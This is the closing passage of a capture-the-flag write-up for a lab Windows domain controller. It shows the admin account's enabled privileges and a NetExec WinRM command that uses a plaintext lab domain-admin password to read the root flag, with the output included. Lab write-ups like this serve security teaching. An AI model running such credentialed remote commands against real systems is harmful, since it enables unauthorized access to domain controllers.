WINRM 10.10.11.70 5985 DC SeBackupPrivilege Back up files and directories Enabled
WINRM 10.10.11.70 5985 DC SeRestorePrivilege Restore files and directories Enabled
WINRM 10.10.11.70 5985 DC SeShutdownPrivilege Shut down the system Enabled
WINRM 10.10.11.70 5985 DC SeDebugPrivilege Debug programs Enabled
WINRM 10.10.11.70 5985 DC SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
WINRM 10.10.11.70 5985 DC SeChangeNotifyPrivilege Bypass traverse checking Enabled
WINRM 10.10.11.70 5985 DC SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
WINRM 10.10.11.70 5985 DC SeUndockPrivilege Remove computer from docking station Enabled
WINRM 10.10.11.70 5985 DC SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
WINRM 10.10.11.70 5985 DC SeManageVolumePrivilege Perform volume maintenance tasks Enabled
WINRM 10.10.11.70 5985 DC SeImpersonatePrivilege Impersonate a client after authentication Enabled
WINRM 10.10.11.70 5985 DC SeCreateGlobalPrivilege Create global objects Enabled
WINRM 10.10.11.70 5985 DC SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
WINRM 10.10.11.70 5985 DC SeTimeZonePrivilege Change the time zone Enabled
WINRM 10.10.11.70 5985 DC SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
WINRM 10.10.11.70 5985 DC SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
Flag is on Administrator
’s Desktop. I can grab it quickly via NetExec.
1
2
3
4
5
➜ DPAPI nxc winrm DC.PUPPY.HTB -u steph.cooper_adm -p 'FivethChipOnItsWay2025!' -x "type C:\users\administrator\desktop\root.txt"
WINRM 10.10.11.70 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)
WINRM 10.10.11.70 5985 DC [+] Executed command (shell type: cmd)
WINRM 10.10.11.70 5985 DC 3dd96cf293a0f52810ba312953c4cf47
Box Done, btw you could try SharpDPAPI
but I could get it to work.
Thanks for reading the writeup.
This box was special to me because it was created by a friend of mine, tr3n, and I value the effort and thought put into it.